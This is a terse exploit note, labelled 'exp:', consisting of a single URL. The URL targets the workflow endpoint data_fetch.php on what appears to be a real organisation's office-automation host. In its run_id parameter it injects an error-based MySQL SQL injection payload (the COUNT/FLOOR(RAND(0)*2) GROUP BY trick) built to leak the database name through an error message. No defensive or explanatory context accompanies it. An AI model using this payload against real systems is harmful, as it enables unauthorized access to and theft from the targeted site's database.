exp:
http://oa.jsmstc.com/general/workflow/list/input_form/data_fetch.php?run_id=1 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7e7e7e,(MID((IFNULL(CAST(database() AS CHAR),0x20)),1,50)),0x7e7e7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

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